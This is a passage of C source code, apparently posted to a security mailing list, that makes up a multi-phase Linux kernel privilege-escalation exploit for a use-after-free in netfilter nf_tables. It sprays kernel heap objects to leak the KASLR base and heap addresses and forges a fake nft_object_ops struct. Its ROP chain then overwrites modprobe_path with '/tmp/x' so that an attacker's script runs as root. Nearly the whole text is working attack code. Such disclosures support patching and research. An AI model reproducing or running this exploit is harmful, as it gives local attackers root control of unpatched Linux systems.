		nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);

		r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
		if(r < 0)
			bye("[-] Failed to send message");
		
		i++;
	}

	return;
}

/* Callback setelem get */
static int set_cb(const struct nlmsghdr *nlh, void *data) {
	struct nftnl_set *t;
	char buf[4096];
	uint32_t *type = data;

	t = nftnl_set_alloc();
	if (t == NULL) {
		perror("OOM");
		goto err;
	}

	if (nftnl_set_elems_nlmsg_parse(nlh, t) < 0) {
		perror("nftnl_set_nlmsg_parse");
		goto err_free;
	}

	nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0);

err_free:
	nftnl_set_free(t);
err:
	return MNL_CB_OK;
}

/* Parse obj name retrieval output for pointer parsing */
uint64_t parse_uaf_obj_name_leak(char *table, char *set, off_t off, int p) {
	uint64_t ptr = 0;
	struct mnl_socket *nl = NULL;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh = NULL;
	uint32_t portid = 0, seq = 0;
	uint32_t type = NFTNL_OUTPUT_DEFAULT;
	struct nftnl_set *t = NULL;
	uint64_t *lk_p = NULL;
	int ret = 0;
	int i = 0;
	
	assign_to_core(DEF_CORE);
	
	t = nftnl_set_alloc();
	if(!t)
		bye("[-] Error at nftnl_set_alloc()");

	nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSETELEM, NFPROTO_IPV4, NLM_F_DUMP | NLM_F_ACK, \
seq++);  nftnl_set_set(t, NFTNL_SET_NAME, set);
	nftnl_set_set(t, NFTNL_SET_TABLE, table);
	nftnl_set_elems_nlmsg_build_payload(nlh, t);

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if(!nl)
		bye("[-] Error at mnl_socket_open()");

	if(mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
		bye("[-] Error at mnl_socket_bind()");
		
	portid = mnl_socket_get_portid(nl);

	if(mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
		bye("[-] Error at mnl_socket_sendto()");

	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	while (ret > 0) {
		ret = mnl_cb_run(buf, ret, seq, portid, set_cb, &type);
		if (ret <= 0)
			break;
		ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	}
	
	//hexdump(buf, 512);
	
	if(p) {
		while(i < 512) {
			if(buf[i] == '\xff' && buf[i+1] == '\xff') {
				if(i <= 6)
					bye("[-] Unknown data");
				//puts("B");
				lk_p = (uint64_t *)((buf + i)-6);
				//printf("debug 0x%lx\n", *lk_p);
				return *lk_p;
			}
			i++;
		}
	}
	
	lk_p = (uint64_t *)(buf + off);
	
	mnl_socket_close(nl);
	
	return *lk_p;
}

/* Spray with nft_object allocations */
uint64_t spray_nft_object(char *table_name, size_t n, char *l_table_name, char *l_set_name) {
	struct mnl_socket *s = NULL;
	struct mnl_nlmsg_batch *batch = NULL;
	struct nlmsghdr *nh = NULL;
	int r = 0, seq = 0;
	char buf[16384] = { 0 };
	char *obj_name = NULL;
	struct nftnl_obj *obj = NULL;
	size_t i = 0;
	uint64_t leaked_addr = 0;
	
	assign_to_core(DEF_CORE);
	
	while(i < n) {
		
		s = mnl_socket_open(NETLINK_NETFILTER);
		if(!s)
			bye("[-] Failed to create netfilter socket");
		
		seq = 0;
		memset(buf, 0, sizeof(buf));
			
		batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
		nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);
		
		obj_name = generate_rnd_name();
		
		obj = nftnl_obj_alloc();
		nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
		nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
		nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
		nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
		
		printf("\t[i] Creating NFT_OBJECT_COUNTER object '%s'...\n", obj_name);
		
		nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, \
NLM_F_CREATE, seq++);  nftnl_obj_nlmsg_build_payload(nh, obj);
		mnl_nlmsg_batch_next(batch);
		
		nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);

		r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
		if(r < 0)
			bye("[-] Failed to send message");
			
		sleep(1.4);
		
		leaked_addr = parse_uaf_obj_name_leak(l_table_name, l_set_name, 0x40 + 12, 0);
		//printf("0x%lx\n", leaked_addr);
		if(leaked_addr != 0 && ((leaked_addr & 0xffff000000000000) == 0xffff000000000000))
			break;
	
		i++;
	}
	
	return leaked_addr;
}

/* Delete a netfilter table */
void delete_table(char *table_name) {
	struct mnl_socket *s = NULL;
	struct mnl_nlmsg_batch *batch = NULL;
	struct nlmsghdr *nh = NULL;
	int r = 0;
	int seq = 0;
	char buf[16384] = { 0 };
	struct nftnl_table *table = NULL;
	
	assign_to_core(DEF_CORE);
	
	s = mnl_socket_open(NETLINK_NETFILTER);
	if(!s)
		bye("[-] Failed to create netfilter socket");

	table = nftnl_table_alloc();
	nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
	
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, \
NFPROTO_IPV4, NLM_F_CREATE, seq++);  nftnl_table_nlmsg_build_payload(nh, table);
	mnl_nlmsg_batch_next(batch);

	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);
	
	r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
	if(r < 0)
		bye("[-] Failed to send message");
	
	return;
}

/* Pause function for debugging purposes */
void pause_x(void) {
	char c = 0;
	int r = 0;
	puts("[i] Press any key to continue...");
	r = read(0, &c, sizeof(char));
	if(r < 0)
		bye("[-] Error from pause_x()");
	return;
}

/* Repeat a char n times and return a string */
char *str_repeat(char c, size_t n) {
	char *ptr = calloc(n + 1, sizeof(char));
	if(!ptr)
		bye("[-] Error at calloc()");
	
	for(int i = 0 ; i < n ; i++)
		ptr[i] = c;
	
	return ptr;
}

/* Create a netfilter table */
void create_table(char *table_name) {
	struct mnl_socket *s = NULL;
	struct mnl_nlmsg_batch *batch = NULL;
	struct nlmsghdr *nh = NULL;
	int r = 0;
	int seq = 0;
	char buf[16384] = { 0 };
	struct nftnl_table *table = NULL;
	
	table = nftnl_table_alloc();
	nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

	s = mnl_socket_open(NETLINK_NETFILTER);
	if(!s)
		bye("[-] Failed to create netfilter socket");

	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, \
NFPROTO_IPV4, NLM_F_CREATE, seq++);  nftnl_table_nlmsg_build_payload(nh, table);
	mnl_nlmsg_batch_next(batch);
	
	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
	if(r < 0)
		bye("[-] Failed to send message");
	
		
	return;
}

/* Prepare a UAF condition by cross-referencing an object from one table to another */
void create_uaf(char *table_1, char *table_2, char *obj_n, char *set_n, obj_t obj_type, int \
is_s_trick, char *s_trick_name, int x) {  struct mnl_socket *s = NULL;
	struct mnl_nlmsg_batch *batch = NULL;
	struct nlmsghdr *nh = NULL;
	int r = 0;
	int seq = 0;
	uint16_t klen[64] = { 1 };
	char buf[16384] = { 0 };
	struct nftnl_table *table = NULL;
	struct nftnl_table *table2 = NULL;
	struct nftnl_table *table3 = NULL;
	struct nftnl_set_elem *slem = NULL;
	struct nftnl_obj *obj = NULL;
	struct nftnl_set *sx = NULL;
	struct nftnl_set *set = NULL;
	struct nftnl_chain *chain = NULL;
	
	if(obj_type == OBJECT_TYPE_UNKNOWN)
		bye("[-] Unknown object type");

	s = mnl_socket_open(NETLINK_NETFILTER);
	if(!s)
		bye("[-] Failed to create netfilter socket");

	
	table = nftnl_table_alloc();
	nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_1);

	table2 = nftnl_table_alloc();
	nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table_2);
	
	if(is_s_trick) {
		table3 = nftnl_table_alloc();
		nftnl_table_set_str(table3, NFTNL_TABLE_NAME, s_trick_name);
	}
	
	obj = nftnl_obj_alloc();
	nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_n);
	nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_1);
	
	if(x) {
		chain = nftnl_chain_alloc();
		nftnl_chain_set(chain, NFTNL_CHAIN_NAME, CHAIN_RP_UAF);
		nftnl_chain_set(chain, NFTNL_CHAIN_TABLE, table_2);
		nftnl_chain_set_data(chain, NFTNL_CHAIN_TYPE, strdup("filter"), 0);
		nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
		nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0);
	}
	
	if(obj_type == OBJECT_TYPE_LIMIT) {
		nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_LIMIT);
		nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_RATE, 1); 
		nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_UNIT, 1);
	} else if(obj_type == OBJECT_TYPE_COUNTER) {
		nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
		nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
	} else
		bye("[-] Unknown object type");

	set = nftnl_set_alloc();
	nftnl_set_set_str(set, NFTNL_SET_NAME, set_n);
	nftnl_set_set_str(set, NFTNL_SET_TABLE, table_2);
	nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
	nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
	nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13);
	nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
	nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT); // NFT_SET_ANONYMOUS
	
	if(obj_type == OBJECT_TYPE_LIMIT)
		nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_LIMIT);
	else if(obj_type == OBJECT_TYPE_COUNTER)
		nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
	else
		bye("[-] Unknown object type");

	sx = nftnl_set_alloc();
	nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_1);
	nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
	
	klen[0] = htons(TRIG_PORT);
	
	slem = nftnl_set_elem_alloc();
	nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, sizeof(uint16_t));
	nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_n);
	nftnl_set_elem_add(sx, slem);
	
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, \
NFPROTO_IPV4, NLM_F_CREATE, seq++);  nftnl_table_nlmsg_build_payload(nh, table);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, \
NFPROTO_IPV4, NLM_F_CREATE, seq++);  nftnl_table_nlmsg_build_payload(nh, table2);
	mnl_nlmsg_batch_next(batch);
	
	if(is_s_trick) {
		nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, \
NFPROTO_IPV4, NLM_F_CREATE, seq++);  nftnl_table_nlmsg_build_payload(nh, table3);
		mnl_nlmsg_batch_next(batch);
	}
	
	nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, \
NLM_F_CREATE, seq++);  nftnl_obj_nlmsg_build_payload(nh, obj);
	mnl_nlmsg_batch_next(batch);
	
	if(x) {
		nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, \
NLM_F_CREATE, seq++);  nftnl_chain_nlmsg_build_payload(nh, chain);
		mnl_nlmsg_batch_next(batch);
	}
	
	nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, \
NLM_F_CREATE, seq++);  nftnl_set_nlmsg_build_payload(nh, set);
	mnl_nlmsg_batch_next(batch);
	
	nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, \
NLM_F_CREATE, seq++);  nftnl_set_elems_nlmsg_build_payload(nh, sx);
	mnl_nlmsg_batch_next(batch);

	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
	if(r < 0)
		bye("[-] Failed to send message");
	return;
}

/* Once having KASLR base, recalculate offsets */
void recalculate_from_kaslr_base(void) {
	uint64_t k_diff = kaslr_base - DEFAULT_BASE;
	commit_creds += k_diff;
	prepare_kernel_cred += k_diff;
	mov_rdi_rax_jne_xor_eax_eax_ret += k_diff;
	pop_rdi_ret += k_diff;
	xor_dh_dh_ret += k_diff;
	stack_pivot_addr += k_diff;
	kpti_trampoline += k_diff;
	modprobe_path += k_diff;
	pop_rdx_ret += k_diff;
	pop_rax_ret += k_diff;
	mov_qptr_rdx_rax_ret += k_diff;
	return;
}

/* Set up a hook for output packets using a set with key destination port and value a \
referenced counter */ void set_up_hook(char *table, char *set, char *chain) {
	char *cmd = NULL;
	asprintf(&cmd, "nft add rule %s %s counter name tcp dport map @%s", table, chain, set);
	system(cmd);
	return;
}

/* Connect to a server in a specific port to trigger netfilter hooks */
void trig_net_sock(void) {
	int sockfd = 0, connfd = 0;
	struct sockaddr_in servaddr, cli;
	
	bzero(&servaddr, sizeof(servaddr));
	bzero(&cli, sizeof(cli));
	
	printf("\t[*] Connecting to 127.0.0.1:%d...\n", TRIG_PORT);
	
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if(sockfd == -1)
		bye("[-] Socket creation failed");

	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST);
	servaddr.sin_port = htons(TRIG_PORT);

	if(connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0)
		bye("[-] Connection with server failed");

	write(sockfd, "AAAA", 4);
	
	close(sockfd);
	
	return;
}

/* Spray with seq_operations structs */
void spray_seq_op_loop(void) {
	int fds[MAX_FDS] = { 0 };
	int i = 0;
	
	assign_to_core(DEF_CORE);
	
	modify_rlimit();
	
	while(i < MAX_FDS) {
		fds[i] = open("/proc/self/stat", O_RDONLY);
		i++;
	}
	return;
}

/* Set up a server to receive hook-triggering output packets */
void setup_trig_server(void) {
	int sfd = 0, sock = 0, r = 0;
	struct sockaddr_in address;
	int opt = 1;
	int addrlen = sizeof(address);
	char buffer[1024] = { 0 };

	if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
		bye("[-] Error at socket()");

	if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)))
		bye("[-] Error at setsockopt()");

	address.sin_family = AF_INET;
	address.sin_addr.s_addr = INADDR_ANY;
	address.sin_port = htons(TRIG_PORT);

	if(bind(sfd, (struct sockaddr*)&address,  sizeof(address)) < 0)
		bye("[-] Error at bind()");

	if(listen(sfd, 3) < 0)
		bye("[-] Error at listen()");

	if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
		bye("[-] Error at accept()");

	r = read(sock, buffer, 4);

	sleep(3);

	close(sock);
	close(sfd);

	return;
}

int main(int argc, char *argv[]) {
	struct mnl_socket *s = NULL;
	struct mnl_nlmsg_batch *batch = NULL;
	struct nlmsghdr *nh = NULL;
	int r = 0, seq = 0;
	uint16_t klen[64] = { 1 };
	char buf[16384] = { 0 };
	char *klk_obj_name = NULL;
	char *hlk_obj_name = NULL;
	char *sp_d = NULL;
	uint64_t *sp_d_l = NULL;
	char *sp2_d = NULL;
	uint64_t *sp2_d_l = NULL;
	char *rop_d = NULL;
	uint64_t *rop_d_l = NULL;
	size_t klk_tries = 0;
	pthread_t tx;
	void *retval = NULL;
	int pid = 0;
	int fd = 0;
	int pipefd[2] = { 0 };
	int sfd = 0, cfd = 0;
	int is_success = 0;
	char *pipefd_str = NULL;
	
	if(geteuid() == 0)
		goto EXP_P;
		
	pipe(pipefd);
	
	/* 
	   Drop callback scripts to achieve LPE from modprobe usermode
	   helper execution
	*/
	drop_callback_scripts();
	
	/*
	   Launch the process that will pop the root shell: it needs
	   to be outside of the namespace
	*/
	pid = fork();
	if(pid == 0) {
		close(pipefd[1]);

		r = read(pipefd[0], &is_success, sizeof(int));
		if(r < 0)
			bye("[-] Exploit failed!");
		
		sleep(2);
		
		if(is_success)
			launch_trigger();
		exit(0);
	}
	
	close(pipefd[0]);
	
	asprintf(&pipefd_str, "%d", pipefd[1]);
	
	//unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

	/*
	   Execute ourselves in a new network namespace to
	   be able to trigger and exploit the bug
	*/
	char *args[] = {
		UNSHARE_PATH, "-Urnm", argv[0], pipefd_str,
		NULL,
	};
	execvp(UNSHARE_PATH, args);

EXP_P:
	if(argc != 2)
		bye("[-] pipe fd not provided for namespace process");
	
	pipefd[1] = atoi(argv[1]);

	/* Assign to a specific CPU core for heap shaping reliability */
	assign_to_core(DEF_CORE);
	
	srand(time(NULL));
	
	puts("[*] Saving current state...");
	save_state();
	
	/* ===================== [  Pre-cleanup ] ===================== */
	
	/* Remove exploit tables left from other executions */
	
	delete_table(TABLE_KLK_UAF_A);
	delete_table(TABLE_KLK_UAF_B);
	
	delete_table(TABLE_HLK_UAF_A);
	delete_table(TABLE_HLK_UAF_B);
	delete_table(TABLE_OBJ_SPRAY_A);
	
	delete_table(TABLE_RD_UAF_A);
	delete_table(TABLE_RD_UAF_B);
	
	delete_table(TABLE_RP_UAF_A);
	delete_table(TABLE_RP_UAF_B);
	
	/* ===================== [ Pre-Alloc ] ===================== */
	
	/*
	    As a result of the table spraying, adding the traversing to add
	    the hooking rule will turn slow, we create the objects for the
	    last stage at the very beggining of the exploit.
	*/
	
	create_uaf(TABLE_RP_UAF_A, TABLE_RP_UAF_B, OBJ_RP_UAF, SET_RP_UAF, OBJECT_TYPE_COUNTER, 0, \
NULL, 1);  set_up_hook(TABLE_RP_UAF_B, SET_RP_UAF, CHAIN_RP_UAF);
	
	/* ===================== [ Phase 1 - KASLR Leak ] ===================== */
	
	puts("[i] Phase 1 - KASLR leak");

PHASE_1:
	puts("\t[*] Triggering UAF on nft_object struct...");
	klk_obj_name = str_repeat('X', 0x20 - 2);
	create_uaf(TABLE_KLK_UAF_A, TABLE_KLK_UAF_B, klk_obj_name, SET_KLK_UAF, OBJECT_TYPE_COUNTER, \
0, NULL, 0);  
	/*
	   Right at the time we remove the table that holds the referenced object,
	   we need to start spraying with seq_operations struct to succeed in
	   leaking single_open() address, and calculating KASLR base this way.
	*/

	pthread_create(&tx, NULL, (void *)spray_seq_op_loop, NULL);
	
	delete_table(TABLE_KLK_UAF_A);
	puts("\t[*] Spraying with seq_operations structs...");

	pthread_join(tx, &retval);
	
	/*
	   If we succeed in making a seq_operations struct be allocated right where
	   our obj->key.name string was, we will be able to leak the single_open()
	   address by requesting the object name through the map.
	   
	   This though has another requirement, which is that obj is intact, so that
	   the pointer to the obj->key.name chunk is still existing.
	   
	*/
	
	so_leaked_addr = parse_uaf_obj_name_leak(TABLE_KLK_UAF_B, SET_KLK_UAF, 0x40 + 12, 0);
	if(so_leaked_addr == 0 || (so_leaked_addr & 0xffff000000000000) != 0xffff000000000000) {
		delete_table(TABLE_KLK_UAF_B);
		bye("[-] single_open() leak failed!");
	}
	
	puts("\t[*] Cleaning up descriptors...");
	
	/* Cleanup descriptors used in the seq_operations spraying */
	for(int i = 0 ; i < MAX_FDS ; i++)
		close(fds[i]);
	
	printf("\t[+] Leaked: single_open() @ 0x%lx\n", so_leaked_addr);
	
	kaslr_base = so_leaked_addr - SINGLE_OPEN_OFF;
	
	printf("\t[+] Leaked: KASLR base @ 0x%lx\n", kaslr_base);

	/* Once with KASLR base, recalculate offsets for every address we need */
	recalculate_from_kaslr_base();
	
	printf("\t[+] Leaked: prepare_kernel_cred() @ 0x%lx\n", prepare_kernel_cred);
	printf("\t[+] Leaked: commit_creds() @ 0x%lx\n", commit_creds);
	
	/* Cleanup (from phase 1) */
	
	puts("\t[*] Cleaning up...");
	delete_table(TABLE_KLK_UAF_B);
	
	/* ===================== [ Phase 2 - ctx->table leak ] ===================== */
	
	puts("[i] Phase 2 - ctx->table leak");
	
PHASE_2:

	/*
	   Our objective now is making nft_objects be allocated where our obj->key.name
	   string was, right as we did for the KASLR leak phase.
	   
	   To do so, we need to provide a string of 0xc8 - 1 bytes for the object name.
	   If we succeed, we will leak the first entry of one of the sprayed objects,
	   which is obj->list.next, and this one points to &ctx->table->objects
	*/

	puts("\t[*] Triggering UAF on nft_object struct...");
	hlk_obj_name = str_repeat('E', 0xc8 - 1);
	create_uaf(TABLE_HLK_UAF_A, TABLE_HLK_UAF_B, hlk_obj_name, SET_HLK_UAF, OBJECT_TYPE_LIMIT, 1, \
TABLE_OBJ_SPRAY_A, 0);  delete_table(TABLE_HLK_UAF_A);
	
	puts("\t[*] Spraying with nft_object structs...");
	tbl_leaked_addr = spray_nft_object(TABLE_OBJ_SPRAY_A, 129, TABLE_HLK_UAF_B, SET_HLK_UAF);
	if(tbl_leaked_addr == 0 || (tbl_leaked_addr & 0xffff000000000000) != 0xffff000000000000) {
		delete_table(TABLE_HLK_UAF_B);
		delete_table(TABLE_OBJ_SPRAY_A);
		bye("[-] ctx->table leak failed!");
	}
		
	tbl_leaked_addr = tbl_leaked_addr - OFF_TO_OBJ_LST;
	
	printf("\t[+] Leaked: ctx->table (\"table3\") @ 0x%lx\n", tbl_leaked_addr);
	printf("\t[+] Leaked: &ctx->table->objects (\"table3\") @ 0x%lx\n", tbl_leaked_addr + \
OFF_TO_OBJ_LST);  
	/* ===================== [ Phase 3 - ctx->table->objects.next leak ] ===================== */

	puts("[i] Phase 3 - ctx->table->objects.next leak");

	sleep(1.2);

PHASE_3:

	/*
	   At this point, we have a known address of an address where we can store contents by
	   spraying, which is exactly what we need for a fake nft_object_ops struct residing in
	   the kernel heap.
	   
	   To retrieve this address, we can prepare another UAF condition, and take over the
	   contents of the nft_object, use nla_memdup() spraying through table creation to
	   replace its contents and place in obj->key.name an arbitrary address, this way
	   we get a full arbitrary read primitive, that let us read bytes at any known
	   valid address. We are though a bit limited in that this pointer is treated as
	   a string pointer, and we will be able to read until a null terminator is found.
	   
	   Using this arbitrary read primitive, we will read the contents of &ctx->table->objects
	   which is ctx->table->objects.next, and the address contained there is the address of
	   one of the nft_objects we used to spray.
	*/

	sp_d = calloc(0xc8, sizeof(char));
	if(!sp_d)
		bye("[-] Error at calloc()");
	sp_d_l = (uint64_t *)sp_d;
	
	memset(sp_d, 'A', 0xc8);
	
	/* obj->key-name entry */
	sp_d_l[4] = (tbl_leaked_addr + OFF_TO_OBJ_LST) + 1; // "+ 1" because first byte will be null
	
	puts("\t[*] Triggering UAF on nft_object struct...");
	create_uaf(TABLE_RD_UAF_A, TABLE_RD_UAF_B, OBJ_RD_UAF, SET_RD_UAF, OBJECT_TYPE_COUNTER, 0, \
NULL, 0);  delete_table(TABLE_RD_UAF_A);
	spray_memdup(sp_d, 0xc8, 2048);
	
	sleep(1);
	
	obj_leaked_addr = parse_uaf_obj_name_leak(TABLE_RD_UAF_B, SET_RD_UAF, 0x40 + 8, 1);
	if(obj_leaked_addr == 0 || (obj_leaked_addr & 0xffff000000000000) != 0xffff000000000000) {
		puts("[-] *ctx->table->objects leak failed!");
		goto FINAL_CLEANUP;
	}
	
	printf("\t[+] Leaked: ctx->table->objects.next @ 0x%lx\n", obj_leaked_addr);
	
	/* ===================== [ Phase 4 - Craft fake nft_object_ops struct ] ===================== \
*/

	puts("[i] Phase 4 - Craft fake nft_object_ops struct");

PHASE_4:

	/*
	   We know the address of an object for which we can control its contents. We need now
	   to achieve this last by deleting the table where these objects reside, to then spray
	   with nla_memdup() allocations as a result of table creation. This way we can place
	   any contents we want in these objects, and we know for certain one of them will be
	   the one for which we know the address.
	   
	   As a result, we will predict that in a specific known heap address there will be
	   a fake nft_object_ops struct, which we will use in the next phase for obj->ops->eval
	   function pointer hijacking.
	*/
	
	puts("\t[*] Freeing sprayed nft_object structs...");
	delete_table(TABLE_OBJ_SPRAY_A);
	
	sp2_d = calloc(0xc8, sizeof(char));
	if(!sp2_d)
		bye("[-] Error at calloc()");
	sp2_d_l = (uint64_t *)sp2_d;
	
	for(int i = 0 ; i < (0xc8 / sizeof(uint64_t)) ; i++)
		sp_d_l[i] = stack_pivot_addr; // push rdi ; pop rsp ; add cl, cl ; ret
	
	puts("\t[*] Spraying with nla_memdup() allocations to craft fake nft_object_ops struct...");
	spray_memdup(sp_d, 0xc8, 4096);
	
	/* Cleanup (from phase 2, 3, 4) */
	puts("\t[*] Cleaning up...");
	delete_table(TABLE_RD_UAF_B);
	delete_table(TABLE_HLK_UAF_B);
	
	puts("\t[+] Fake nft_object_ops struct should be in target memory!");
	
	/* ===================== [ Phase 5 - Code execution ] ===================== */
	
	puts("[i] Phase 5 - Code execution (ROP)");
	
	sleep(2);
	
PHASE_5:
	/*
	   Finally, trigger UAF on the objects created at the very
	   beggining of the exploit.
	*/
	
	delete_table(TABLE_RP_UAF_A);
	
	rop_d = calloc(0xc8, sizeof(char));
	if(!rop_d)
		bye("[-] Error at calloc()");
	rop_d_l = (uint64_t *)rop_d;
	
	/*
	   We build a ROP chain in these sprayed nla_memdup()
	   allocations, with the hope that one of them end up
	   taking the chunk previously used by the nft_object
	   and for which we still keep a reference.
	   
	   The ROP chain will use a write-what-where gadget to
	   write our custom usermode helper for modprobe_path,
	   this will allow us to get a custom script of ours
	   be executed as root.
	   
	   Finally, we reach the KPTI trampoline for returning
	   to the userland.
	   
	*/

	rop_d_l[0] = pop_rdx_ret; 			// pop rdx ; ret
	rop_d_l[1] = modprobe_path;			// modprobe_path
	rop_d_l[2] = pop_rax_ret;			// pop rax ; ret
	rop_d_l[3] = 0x782f706d742f;			// "/tmp/x\x00\x00"
	rop_d_l[4] = mov_qptr_rdx_rax_ret;		// mov qword ptr [rdx], rax ; ret
	rop_d_l[5] = kpti_trampoline;			// swapgs_restore_regs_and_return_to_usermode + 22
	rop_d_l[6] = 0x0000000000000000;		// RAX
	rop_d_l[7] = 0x0000000000000000;		// RDI
	rop_d_l[8] = user_rip;				// user_rip
	rop_d_l[9] = user_cs;				// user_cs
	rop_d_l[10] = user_rflags;			// user_rflags
	rop_d_l[11] = user_sp;				// user_sp
	rop_d_l[12] = user_ss;				// user_ss
	rop_d_l[13] = 0x4343434343434343;		// dummy
	rop_d_l[14] = 0x4343434343434343;		// dummy
	rop_d_l[15] = 0x4343434343434343;		// dummy
	rop_d_l[16] = obj_leaked_addr;			// obj->ops (points to stack pivot: obj->ops->eval())s
	
	puts("\t[*] Spraying with nla_memdup() allocations containing ROP chain...");
	spray_memdup(rop_d, 0xc8, 4096);
	
	puts("\t[*] Triggering network hook...");
	
	/* Prevent problems with the creation of sockets to trigger the hooks */
	system("ip link set dev lo up");
	
	/* Set up server at TRIG_PORT in a new process */
	sfd = fork();
	if(sfd == 0) {
		setup_trig_server();
		exit(0);
	}
	
	/* Trigger the network hook we created for table TABLE_RP_UAF_B on the UAF-referenced object \
*/  cfd = fork();
	if(cfd == 0) {
		trig_net_sock();
		exit(0);
	}
	
	is_success = 1;
	r = write(pipefd[1], &is_success, sizeof(int));
	if(r < 0)
		return 1;
	
	sleep(10);
	
	/* ===================== [ Cleanup ] ===================== */

FINAL_CLEANUP:
	kill(cfd, SIGKILL);
	kill(sfd, SIGKILL);
	close(fd);
	delete_table(TABLE_RP_UAF_B);
	cleanup_spray_tables();
	return 0;

}



[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic